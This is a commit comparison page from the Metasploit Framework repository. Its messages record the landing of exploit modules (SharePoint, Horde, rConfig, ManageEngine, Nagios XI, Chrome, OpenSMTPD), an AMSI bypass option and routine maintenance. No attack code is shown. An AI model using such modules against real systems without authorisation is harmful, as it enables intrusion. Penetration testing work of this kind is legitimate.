Compare commits

...

1309 Commits

Author SHA1 Message Date
Metasploit 4c06146900 automatic module_metadata_base.json update 2020-03-26 07:31:06 -05:00
Alan Foster 077d7af6a9 Land #13143, fix broken redis_unauth_exec check in msfconsole 2020-03-26 12:21:26 +00:00
Alan Foster 2b6815401f Land #13144, update to faraday 1.0.0 2020-03-26 12:12:36 +00:00
Adam Galway db2e7bb9d7 set faraday to latest version 2020-03-26 10:36:13 +00:00
Metasploit be21ef692d automatic module_metadata_base.json update 2020-03-25 16:25:50 -05:00
Jeffrey Martin 6d5688f120 Land #13146, Update octokit to latest rubygem available. 2020-03-25 16:16:04 -05:00
Pearce Barry 7827d694fe Update octokit to latest rubygem available.
4.17.0 went away, see https://github.com/octokit/octokit.rb/issues/1219
2020-03-25 16:02:23 -05:00
Brent Cook 346b593a18 Land #13130, Transport and pivot fixes for meterpreter 2020-03-25 15:10:47 -05:00
Metasploit 5dfdf66a0e automatic module_metadata_base.json update 2020-03-25 11:34:46 -05:00
bwatters-r7 beb53254c7 Land #13122, Add Exploit Module For CVE-2020-0646 (SharePoint Workflows XOML RCE)
Merge branch 'land-13122' into upstream-master
2020-03-25 11:24:15 -05:00
Adam Galway 2da9d54b7b updates faraday gem to version with disabled warn 2020-03-25 15:54:37 +00:00
Adam Cammack 5ce4929834 Fix has_check? conflict in redis_unauth_exec
Importing `Msf::Auxiliary::Scanner` at all will override the default
`has_check?` check and add a its own `check` method. This redefines
`has_check?` to allow usage of the Redis mixin while using an
exploit-style `check` method.

Fixes #13095
2020-03-25 10:07:08 -05:00
Metasploit ab4e3f9481 automatic module_metadata_base.json update 2020-03-25 09:18:03 -05:00
bwatters-r7 d5107a1f79 Land #13030, New Windows post module: install_python
Merge branch 'land-13030' into upstream-master
2020-03-25 09:08:04 -05:00
bwatters-r7 2dcf2b0717 Add line about meterpreter python extension 2020-03-25 09:04:28 -05:00
bwatters-r7 37caf96ae9 Add TLS to web request in download script 2020-03-25 07:30:05 -05:00
Metasploit db6f243305 automatic module_metadata_base.json update 2020-03-24 17:10:22 -05:00
bwatters-r7 17d78ecb4b Land #13059, Limit Option Sizes When Appropriate
Merge branch 'land-13059' into upstream-master
2020-03-24 17:01:21 -05:00
Spencer McIntyre 54edd201e4 Cleanup cmdstager options 2020-03-24 17:14:47 -04:00
Spencer McIntyre a69f3eb946 Use the correct its instead of it's 2020-03-24 16:44:18 -04:00
Spencer McIntyre ae5c62c279 Land #12988, add missing commit 2020-03-24 16:19:51 -04:00
Metasploit 7b34f07422 automatic module_metadata_base.json update 2020-03-24 15:15:55 -05:00
Spencer McIntyre b3b6450958 Land #12988, use the API for users and groups
This adds and uses the functionality to leverage the Windows API for
managing users and groups via meterpreter sessions. This replaces
relevant functionality in a few modules which previously relied on shell
commands.Merge branch 'pr/12988' into upstream-master
2020-03-24 16:06:52 -04:00
Spencer McIntyre d92d1448ef Minor whitespace and verbage cleanups 2020-03-24 16:03:40 -04:00
Metasploit dbeb6ad32b automatic module_metadata_base.json update 2020-03-24 12:38:06 -05:00
tperry-r7 d32640d179 Land #13133 clean up module documentation
Land #13133 clean up module documentation
2020-03-24 12:29:27 -05:00
Adam Cammack 9aafb3b306 Fix copy-pasta 2020-03-24 09:56:30 -05:00
Spencer McIntyre a0cd00dac7 Cleanup module doc and comments for CVE-2020-0646 2020-03-24 10:15:58 -04:00
h00die f5c4f593f5 check for more default instructional text 2020-03-24 09:51:21 -04:00
h00die fd8420cef7 fix install lines 2020-03-24 09:36:17 -04:00
Spencer McIntyre bf9cb3581a Land #13124, enhance tip for info -d 2020-03-24 09:32:46 -04:00
h00die e7da6e77a5 remove and check for instruction text 2020-03-24 09:15:04 -04:00
h00die 0b4c047411 doc cleanup 2020-03-24 08:47:21 -04:00
Brent Cook bd59321cb1 Land #13131, bump Vagrant devenv to Ubuntu 18.04 2020-03-24 06:42:19 -05:00
Brent Cook 414035e1e4 bump Metasploit Vagrant devenv to the latest LTS version 2020-03-24 06:12:23 -05:00
h00die ee2f792f58 Land #13118, fixes for the linux priv esc example 2020-03-24 07:07:09 -04:00
Brent Cook 4c93933b6e HTTP pivot fixes for Meterpreter 2020-03-24 05:40:02 -05:00
h00die 4fe8f2ce49 enhance info tip 2020-03-23 20:09:24 -04:00
Spencer McIntyre 0832604131 Finish up the CVE-2020-0646 SharePoint RCE 2020-03-23 18:14:28 -04:00
Alan Foster bf07b1c897 Landing #13039, add color to search text matches and module ranks 2020-03-23 18:26:17 +00:00
Alan Foster d506bdc641 Use latest rex-text version 2020-03-23 18:22:35 +00:00
Adam Galway 04903daa4c highlights search text & color codes module ranks 2020-03-23 17:42:17 +00:00
Srikanth Suresh 005601f76e Changing from Remote to Local
Using https://github.com/rapid7/metasploit-framework/issues/13116 as the reference
2020-03-23 20:40:25 +03:00
Metasploit e5c8f15851 automatic module_metadata_base.json update 2020-03-23 07:42:56 -05:00
Shelby Pace fd8ceb0db2 Land #13082, add Horde Groupware Webmail RCE 2020-03-23 07:32:53 -05:00
Shelby Pace 475c24361d randomize file name 2020-03-23 07:28:04 -05:00
cn-kali-team 219f5bd2d8 Change "x86" to constant 2020-03-23 19:15:08 +08:00
Alan Foster 30d1259190 Land #13089, add automated comments to needs-docs label 2020-03-23 09:51:14 +00:00
bluesentinel 597c97da45 Refactored and added support for specifying Python versions 2020-03-22 14:10:06 -04:00
Shelby Pace c6eebe4ca3 replace equality with include? 2020-03-20 21:19:29 -05:00
Spencer McIntyre 6c24ed4c96 Initial SharePoint WorkFlows XOML RCE module 2020-03-20 17:57:54 -04:00
cn-kali-team 3fd1a2cee1 remove default completely 2020-03-21 03:00:01 +08:00
cn-kali-team 10d5eda489 Check domain first on domain_mode 2020-03-21 01:34:03 +08:00
cn-kali-team 5b9e7f5777 Modify document 2020-03-20 21:12:06 +08:00
cn-kali-team 8d1ae46012 Increase buffer length 2020-03-20 14:22:58 +08:00
cn-kali-team f9af8ed184 get_domain with api 2020-03-20 14:15:39 +08:00
cn-kali-team a2f7551aa7 get_domain with api 2020-03-20 14:15:18 +08:00
cn-kali-team 9bff7de41b Fix moving the keyword argument to the end 2020-03-20 14:12:01 +08:00
cn-kali-team 62e60fbc81 Fix checking if the group already exists. 2020-03-20 12:08:24 +08:00
cn-kali-team 0493eb2e0e Fix return an empty array and moving the keyword argument to the end 2020-03-20 11:55:51 +08:00
Metasploit f6e81bac29 automatic module_metadata_base.json update 2020-03-19 12:26:50 -05:00
Spencer McIntyre 5b2f744cd8 Land #13070, fix Cisco DCNM directory search regex 2020-03-19 13:17:27 -04:00
Metasploit fd35ee3860 Bump version of framework to 5.0.82 2020-03-19 12:03:16 -05:00
Metasploit ca239309e4 automatic module_metadata_base.json update 2020-03-19 11:50:53 -05:00
Adam Galway f165527e88 Land #12851, DOS attack on Tautulli <=2.1.9 2020-03-19 16:42:07 +00:00
adamgalway-r7 3f9b94c55c update docs 2020-03-19 16:36:50 +00:00
Andrea Cardaci 40d6dd14c4 Remove the check method 2020-03-18 20:29:49 +01:00
Alan Foster 507864e5e4 Use explicit sha for community plugin 2020-03-18 11:48:41 +00:00
Andrea Cardaci 19e9848592 Remove trailing spaces 2020-03-17 19:06:57 +01:00
Andrea Cardaci bbb152a6d8 Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:02:34 +01:00
Andrea Cardaci eccee07e8b Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:02:07 +01:00
Andrea Cardaci a60652898f Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 19:01:03 +01:00
Andrea Cardaci a4ff847170 Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-17 18:57:06 +01:00
Metasploit 11da08a303 automatic module_metadata_base.json update 2020-03-17 12:24:46 -05:00
Shelby Pace 922f1ec708 Land #12901, add Centreon poller rce 2020-03-17 12:16:29 -05:00
Shelby Pace 2717683825 change message 2020-03-17 12:15:06 -05:00
Shelby Pace 98f4642c2d remove comments / check 2020-03-17 10:33:12 -05:00
Alan Foster 59bd981a70 Add automated comments to no-docs label 2020-03-17 00:26:47 +00:00
Metasploit 1321817f66 automatic module_metadata_base.json update 2020-03-16 06:28:40 -05:00
Alan Foster 5d9d3926e4 Land #13066, add rConfig 3.9 RCE module 2020-03-16 11:18:59 +00:00
RAMELLA Sébastien 0efe53d869 fix somes code review comments. 2020-03-15 13:30:23 +04:00
Andrea Cardaci 126f5ca05d Add 'Horde CSV import arbitrary PHP code execution' (CVE-2020-8518) 2020-03-14 16:07:51 +01:00
cn-kali-team 3c46221eb3 remove original add_user file 2020-03-14 11:04:37 +08:00
cn-kali-team 44038f1bef Add my code to add_user_domain and rename add_user_domain to add_user 2020-03-14 11:04:08 +08:00
cn-kali-team 0d24757294 Fix bug 2020-03-14 10:31:54 +08:00
Metasploit 3a5db5e492 automatic module_metadata_base.json update 2020-03-13 18:19:12 -05:00
Spencer McIntyre f208d547ed Land #13079, fix YSoSerial payload patching 2020-03-13 19:09:37 -04:00
William Vu ddefafab78 Revert "Patch serialVersionUID in the library"
This reverts commit eaf8554e69.
2020-03-13 17:36:40 -05:00
Metasploit dfd4a77e3d automatic module_metadata_base.json update 2020-03-13 14:29:46 -05:00
William Vu e643afb681 Fix find_ysoserial_offsets.rb and prettify JSON 2020-03-13 14:22:32 -05:00
Spencer McIntyre 2a5c43302b Land #13071, add ManageEngine Desktop Central RCE 2020-03-13 15:20:57 -04:00
William Vu 8f6331d0d5 Pretty-print JSON in data/ysoserial_payloads.json
jq . data/ysoserial_payloads.json
2020-03-13 14:04:32 -05:00
William Vu 02e2072a87 Update module traits after joint testing 2020-03-13 14:01:54 -05:00
William Vu eaf8554e69 Patch serialVersionUID in the library 2020-03-13 13:17:26 -05:00
William Vu c11be38e1c Default to certutil CmdStager 2020-03-13 12:38:07 -05:00
William Vu 03ff32210e Fix CmdStager target 2020-03-13 12:26:45 -05:00
William Vu 0806e9ef42 Add CmdStager target back in so we can debug it 2020-03-13 11:17:37 -05:00
William Vu 4f6720f962 Add TARGETURI back in 2020-03-13 11:05:14 -05:00
Metasploit 3ee6f88eca automatic module_metadata_base.json update 2020-03-13 10:01:55 -05:00
bwatters-r7 c21b90ea61 Land #13063, Add PSH-AmsiBypassURI option to allow persistent web_delivery
Merge branch 'land-13063' into upstream-master
2020-03-13 09:52:25 -05:00
dwelch-r7 786c968395 Land #13057, Add memory and cpu profiling tools 2020-03-13 13:47:34 +00:00
Alan Foster edef4a1e47 Land #13036, Add TTL to json rpc results tracking 2020-03-13 13:33:18 +00:00
dwelch-r7 682653e9d9 PR comments 2020-03-13 13:32:59 +00:00
Alan Foster 1137036ecb Tidy up results tracking 2020-03-13 13:32:59 +00:00
dwelch-r7 55bd3f45be run rubocop -a on new files 2020-03-13 13:32:58 +00:00
dwelch-r7 754b42f9f2 run rubocop -a on new files 2020-03-13 13:32:58 +00:00
dwelch-r7 6762a7b147 Fix all the tests 2020-03-13 13:32:58 +00:00
dwelch-r7 e6aa840e64 Store results as json to prevent keeping references around 2020-03-13 13:32:58 +00:00
dwelch-r7 54928c0e7b fix tests 2020-03-13 13:32:58 +00:00
dwelch-r7 4705f9c2dc Adds tests 2020-03-13 13:32:58 +00:00
dwelch-r7 e692edc3b4 Add error handling for writing to the cache 2020-03-13 13:32:58 +00:00
dwelch-r7 9f76f3ef08 Use rpc specific job status tracker and add default no op tracker 2020-03-13 13:32:57 +00:00
Alan Foster 12958326b9 Track job status earlier 2020-03-13 13:32:57 +00:00
Alan Foster 1df297da4a Fix incorrect method call when checking results 2020-03-13 13:32:57 +00:00
dwelch-r7 34fc7528dd Re-add original job state tracker code
This reverts commit 908ce3d3
2020-03-13 13:32:57 +00:00
Metasploit 9bac299bc2 automatic module_metadata_base.json update 2020-03-13 08:17:31 -05:00
dwelch-r7 b1225d4d72 Land #13062, Remove preceeding whitespace from module name 2020-03-13 13:08:50 +00:00
Viking ff2421163b Fix Travis-CI errors 2020-03-13 10:42:40 +01:00
Viking 5f4de7044f Create rconfig_ajaxarchivefiles_rce.md 2020-03-13 10:07:39 +01:00
Viking 5bbabd6f2a Add tips to description. 2020-03-13 10:03:27 +01:00
Viking 7874308fae Last typo fixes. No priv required on webapp. 2020-03-13 09:18:50 +01:00
Viking a8e881452b Add greetz to my colleagues who tested this module 2020-03-13 06:42:48 +01:00
Tim W 1807461882 Land #13069, fix channel args and powershell_shell 2020-03-13 13:09:49 +08:00
William Vu 83387212a7 Update language to address different patches 2020-03-12 17:50:13 -05:00
Metasploit 140eef3d0d automatic module_metadata_base.json update 2020-03-12 17:43:02 -05:00
William Vu 0b117849d0 Note specific patch versions
Hat tip @sranjit-r7.
2020-03-12 17:40:46 -05:00
William Vu ed5dd4dd20 Add module doc 2020-03-12 17:36:53 -05:00
William Vu a908ceb58a Add ManageEngine Desktop Central exploit 2020-03-12 17:36:53 -05:00
William Vu 5e65021914 Land #13054, PPID_NAME fix for Windows migrate 2020-03-12 17:35:39 -05:00
debifrank dfe70ca3fc Cisco DCNM Module upload directory location regex filter corrected to allow for paths such as C:\Cisco System\ 2020-03-12 17:08:33 -04:00
Metasploit d226025cd9 automatic module_metadata_base.json update 2020-03-12 15:45:29 -05:00
Spencer McIntyre 71f2e4c26c Land #13035, update PHP web_delivery to SSL context
Update the PHP command from web_delivery to ignore invalid SSL
certificates which is required for newer versions of PHP when a
self-signed certificate is used.
2020-03-12 16:35:12 -04:00
Spencer McIntyre f43c547a56 Fix args when directly opening a channel 2020-03-12 15:45:31 -04:00
Alan Foster 8297a31863 Extract profiler 2020-03-12 19:44:50 +00:00
Spencer McIntyre 44abb63331 Land #13064, fix the meterpreter shell command 2020-03-12 15:07:03 -04:00
Alan Foster 8541cab9f6 Add profiling tools 2020-03-12 18:01:30 +00:00
Metasploit ecba853b29 automatic module_metadata_base.json update 2020-03-12 12:37:06 -05:00
Christophe De La Fuente f7d8c43722 Land #13040, SQL Server Reporting Services ViewState deserialization RCE 2020-03-12 18:26:01 +01:00
Metasploit d2d7486d82 Bump version of framework to 5.0.81 2020-03-12 12:05:27 -05:00
Viking 885c8b8a56 Fix formatting issues, and add EDB link for SQLi 2020-03-12 16:17:53 +01:00
Viking e6b9610841 Update modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-03-12 15:59:09 +01:00
Viking 2cac8f4e3a Update modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb
Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2020-03-12 15:58:38 +01:00
Viking 3f7aed3c0a Fix Travis-CI errors 2020-03-12 13:44:47 +01:00
Viking 8f65bfff88 Merge pull request #1 from v1k1ngfr/v1k1ngfr-patch-1
Update rconfig_ajaxarchivefiles_rce.rb
2020-03-12 12:04:51 +01:00
Viking 60d86cf25d Update rconfig_ajaxarchivefiles_rce.rb 2020-03-12 11:44:05 +01:00
Viking 94f082fe4a Create rconfig_ajaxarchivefiles_rce.rb 2020-03-12 11:41:12 +01:00
g0t mi1k 204e4d8cdb Switch to preferred style (ruby) 2020-03-12 09:59:08 +00:00
Tim W 5081496786 fix rapid7/metasploit-framework#13060 2020-03-12 16:57:14 +08:00
Tim W 67aefb372e fix rapid7/metasploit-framework#13046 2020-03-12 15:21:00 +08:00
Alan Foster 54878d3f68 Remove preceding whitespace from module name 2020-03-12 01:12:00 +00:00
Spencer McIntyre 77e21de4bd Add additional docs for setting up an environment 2020-03-11 15:05:51 -04:00
Spencer McIntyre 059dd59d90 Use the new max_length check elsewhere 2020-03-11 11:56:15 -04:00
Spencer McIntyre db9626153b Minor refactoring for style, whitespace, etc. 2020-03-11 11:56:15 -04:00
Timo Mueller b9cd724609 Changed 'maxLength' var to snake_case style 'max_length' 2020-03-11 11:55:18 -04:00
Timo Mueller 2283948fcf Fixed description in reverse_http payload, for real 2020-03-11 11:55:18 -04:00
Timo Mueller 364b6c1359 Fixed description in reverse_http payload 2020-03-11 11:55:18 -04:00
Timo Mueller 42997be4ae Added maximum string length check in meterpreter payload generation 2020-03-11 11:55:18 -04:00
Timo Mueller f10f5701dd Added maximum string length check 2020-03-11 11:43:10 -04:00
Timo Mueller a6ee63bb6a removed print 2020-03-11 11:41:38 -04:00
Timo Mueller e8686caa02 Implemented size check for items within to_str 2020-03-11 11:41:38 -04:00
dwelch-r7 47f4f2d981 Land #13037, Add tips on msfconsole startup 2020-03-11 13:59:57 +00:00
Alan Foster 1f96d3b42f Add useful tips when starting up metasploit 2020-03-11 10:18:42 +00:00
cn-kali-team 5aa6cf5b42 Fix x64 architecture support 2020-03-11 11:23:47 +08:00
Pearce Barry 6e6bb0a838 Land #13055, rollback simplecov version due to error 2020-03-10 19:09:48 -05:00
Jeffrey Martin a3e821114a rollback simplecov version due to error
The issue found looks similar to https://stackoverflow.com/questions/55631720/simplecov-rcov-is-throwing-a-encodingundefinedconversionerror.
Also https://github.com/fguillen/simplecov-rcov/issues/20 suggest may be related to file open permissions set.

When running rspec test with `bundle exec rake spec` the following stack traces is seen.

```
Traceback (most recent call last):
	27: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/defaults.rb:27:in `block in <top (required)>'
	26: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:202:in `at_exit_behavior'
	25: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov.rb:214:in `run_exit_tasks!'
	24: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/configuration.rb:196:in `block in at_exit'
	23: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/result.rb:49:in `format!'
	22: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `format'
	21: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:28:in `open'
	20: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-html-0.12.2/lib/simplecov-html.rb:29:in `block in format'
	19: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `result'
	18: from /home/msfuser/.rvm/rubies/ruby-2.6.5/lib/ruby/2.6.0/erb.rb:901:in `eval'
	17: from (erb):8:in `block in format'
	16: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:73:in `covered_percent'
	15: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:27:in `coverage_statistics'
	14: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `compute_coverage_statistics'
	13: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each_with_object'
	12: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each'
	11: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:105:in `block in compute_coverage_statistics'
	10: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:35:in `coverage_statistics'
	 9: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:333:in `line_coverage_statistics'
	 8: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:241:in `lines_strength'
	 7: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:43:in `lines'
	 6: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:224:in `build_lines'
	 5: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:28:in `src'
	 4: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `load_source'
	 3: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `open'
	 2: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:189:in `block in load_source'
	 1: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `read_lines'
/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `readlines': U+2713 from UTF-8 to ASCII-8BIT (Encoding::UndefinedConversionError)
/home/msfuser/.rvm/rubies/ruby-2.6.5/bin/ruby -I/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/lib:/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-support-3.9.2/lib /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb failed
```

Since we expect to support non-ASCII characters in some locations locking the version until a solution is found.  The issue linked above suggest that a test helper may be able to override the open permissions, however since `rake spec` in Travis runs without the simplecov gem this may require some finesse to implement.
2020-03-10 14:59:12 -05:00
Spencer McIntyre 5e1e6e6ab6 Land #13052, add hex-noslashes as a uri encode mode 2020-03-10 15:32:15 -04:00
Adam Galway 0b271f3a0e Land #13041, reduces invalid command time by half 2020-03-10 13:08:49 +00:00
g0t mi1k f301676d04 Grammar fixes
...I think?
https://www.grammarly.com/blog/into-vs-in-to/
2020-03-10 13:00:12 +00:00
g0t mi1k bba65ac090 Fix #13053 - post/windows/manage/migrate & PPID_NAME
If its blank, no point in going forward!
2020-03-10 12:54:00 +00:00
Metasploit def73fb665 automatic module_metadata_base.json update 2020-03-10 07:05:32 -05:00
Adam Galway 0e163c69ab Land #12975, exploits RCE backdoor in PHPStudy 2020-03-10 11:56:26 +00:00
William Vu 09b1fddbd7 Add hex-noslashes to Rex::Proto::Http::Client 2020-03-10 01:21:01 -05:00
Spencer McIntyre a542ce01a1 Land #13050, bump the metasploit-payloads gem 2020-03-09 18:21:21 -04:00
Brent Cook 541f055428 bump metasploit-payloads properly for #12927 2020-03-09 15:08:09 -05:00
Rob Fuller 1d5e274deb Revert "Update to the latest payloads gem"
This reverts commit f8752b8e48.
premature update to the gemfile.log file
2020-03-09 15:08:49 -04:00
Rob Fuller f8752b8e48 Update to the latest payloads gem
This is to fix the socks proxy issues related to #11513 and from https://github.com/rapid7/metasploit-payloads/pull/380
2020-03-09 14:48:17 -04:00
Spencer McIntyre f3d38e147d Replace another use with the target type 2020-03-09 11:43:26 -04:00
Metasploit bd4d3f63e4 automatic module_metadata_base.json update 2020-03-09 10:07:45 -05:00
Christophe De La Fuente 7c54066b0e Land #13004, Nagios XI RCE module 2020-03-09 15:57:58 +01:00
Metasploit 03f31f187b automatic module_metadata_base.json update 2020-03-09 09:48:57 -05:00
Spencer McIntyre b148e9da30 Land #13042, use VHOST when creating the full URI 2020-03-09 10:40:03 -04:00
Metasploit d07fc7f6ee automatic module_metadata_base.json update 2020-03-09 09:33:04 -05:00
Brent Cook b19ed20d0a Land #12990, Add initial rubocop rules to consistently format modules 2020-03-09 09:24:46 -05:00
Brent Cook a10f51e1f9 manually realign shellcode. Note below:
The linter here indents strangely only in the case where you have a
standalone string literal without an assignment nor a return or
function/method call. In all other cases it aligns properly. Given that
this really is easy to work around, with what looks like beneficial code
changes, this is still far worth the benefit.

See https://github.com/rapid7/metasploit-framework/pull/12990#pullrequestreview-369907902
2020-03-09 09:22:01 -05:00
Spencer McIntyre 9bd6fb9e76 Update cve-2020-0618 based on feedback 2020-03-09 09:18:44 -04:00
kalba-security e77ae2256b Triggering checks again because the sanitiy test execution failed. 2020-03-09 12:15:15 +02:00
kalba-security 96ae2cf9a2 Incorporate additional suggestions from code review. 2020-03-09 11:56:15 +02:00
cn-kali-team 2c4b361a6d Replace command line to api 2020-03-07 21:11:45 +08:00
cn-kali-team a1b67b20fc rename 2020-03-07 21:11:33 +08:00
cn-kali-team 48667eda20 rename 2020-03-07 21:11:08 +08:00
cn-kali-team df48d89923 Replace command line to api 2020-03-07 21:10:39 +08:00
cn-kali-team 327440a748 Fix Bug and Add the enumeration function 2020-03-07 21:09:20 +08:00
cn-kali-team 2c3ad585a3 Add the enumeration function 2020-03-07 20:56:58 +08:00
t0-n1 fe8cd52c9d Use VHOST instead of RHOST
The 'vhost_uri: true' enables the successfully exploitation of this vulnerability in environments where you can't use an IP address (RHOST) to access the OWA web page.
2020-03-07 10:43:51 +01:00
Alan Foster 66acec6a57 Cut command missing time in half 2020-03-06 23:32:09 +00:00
Spencer McIntyre 4c004d51a7 Add an exploit for CVE-2020-0618 2020-03-06 16:21:37 -05:00
Metasploit b85cd9b682 automatic module_metadata_base.json update 2020-03-06 12:09:33 -06:00
Spencer McIntyre c75780350e Land #13038, clean up the socket when checking 2020-03-06 13:00:42 -05:00
Christophe De La Fuente e5f2b48274 Ensure client is disconnected when leaving the check method 2020-03-06 17:38:37 +01:00
kalba-security 8b778bffc0 Incorporate suggestions from code review 2020-03-06 15:50:34 +02:00
Alan Foster 3a046f01da Run rubocop -a on subset of files 2020-03-06 10:41:45 +00:00
Alan Foster bfd284b349 Add initial layout cops for the module super hash 2020-03-06 10:41:41 +00:00
Tim W 63f2da278d fix #7366, ignore the ssl cert on PHP web_delivery 2020-03-06 12:32:57 +08:00
bwatters-r7 acc7dd153a Land #13029, Filter payloads by platform and arch for msfvenom
Merge branch 'land-13029' into upstream-master
2020-03-05 14:53:49 -06:00
Metasploit 3b5c6b06a2 automatic module_metadata_base.json update 2020-03-05 13:53:27 -06:00
William Vu 9840951f0d Land #12574, Chrome CVE-2019-5825 exploit 2020-03-05 13:44:40 -06:00
William Vu 87b8182131 Land #12384, Chrome CVE-2018-17463 exploit 2020-03-05 13:44:27 -06:00
Metasploit 56a9b9b637 automatic module_metadata_base.json update 2020-03-05 13:14:34 -06:00
Spencer McIntyre b0bcfc071b Land #12944, fix a bug in owa_login 2020-03-05 14:05:49 -05:00
Metasploit 8f8ee8947d Bump version of framework to 5.0.80 2020-03-05 12:03:58 -06:00
Metasploit 53de5cc543 automatic module_metadata_base.json update 2020-03-05 11:11:16 -06:00
bwatters-r7 bbd82865d6 Land #12985, fix the cmd/windows/reverse_powershell payload
Merge branch 'land-12985' into upstream-master
2020-03-05 11:02:33 -06:00
Metasploit 21f4c77787 automatic module_metadata_base.json update 2020-03-05 11:00:58 -06:00
Brent Cook 349051531a Land #12984, update local socket parameters when opening channels 2020-03-05 10:52:12 -06:00
Metasploit eb3cf2fd02 automatic module_metadata_base.json update 2020-03-05 10:51:24 -06:00
Spencer McIntyre eb90bee4a7 Land #12863, add exploit for PHP-FPM Underflow RCE 2020-03-05 11:43:43 -05:00
Brent Cook 40cc170578 bump payload sizes 2020-03-05 10:12:14 -06:00
Brent Cook e83dd2b811 bump payload versions 2020-03-05 10:12:10 -06:00
Metasploit 2790b72384 automatic module_metadata_base.json update 2020-03-05 09:12:36 -06:00
dwelch-r7 4fe7678b01 Land #12910, Add exploit module for apache activemq traversal 2020-03-05 15:05:13 +00:00
dwelch-r7 c7ca43b585 reformat date to iso standard 2020-03-05 15:03:05 +00:00
Christophe De La Fuente 8d6468e725 Fix comments 2020-03-05 13:28:28 +01:00
airevan 630add538f set default index.php 2020-03-05 10:24:22 +08:00
bluesentinelsec 8f020652cc added documentation for install_python module 2020-03-04 20:38:59 -05:00
William Vu 858adb4540 Update comment 2020-03-04 19:31:23 -06:00
William Vu a5db685a83 Filter payloads by platform and arch for msfvenom 2020-03-04 19:26:11 -06:00
Metasploit 513338c2e5 automatic module_metadata_base.json update 2020-03-04 13:41:51 -06:00
Shelby Pace 5698f6e51f Land #13003, add OpenSMTPD LPE module 2020-03-04 13:32:25 -06:00
Adam Galway 65c2b68319 Land #12982, fixes broken url in word_unc_injector 2020-03-04 15:59:27 +00:00
kalba-security 633899402c Split up description 2020-03-04 17:02:34 +02:00
Metasploit a15c981246 automatic module_metadata_base.json update 2020-03-04 08:58:21 -06:00
kalba-security a87a1ae1b4 Split up description 2020-03-04 16:57:36 +02:00
Adam Galway 83132dd733 Land #13008, module for Chrome 80 JScreate exploit 2020-03-04 14:49:59 +00:00
Tim W 9f55e4163f add documentation 2020-03-04 21:31:14 +08:00
Alan Foster 3aeb6597a2 Landing #12980, ensure json is always returned from the json rpc api 2020-03-04 12:14:53 +00:00
Adam Galway dd12e65828 adds middleware and application error handlers 2020-03-04 11:56:32 +00:00
Alan Foster 5ed87be78e Land #12989, internal refactor sanitizing module names before they are loaded 2020-03-04 11:01:26 +00:00
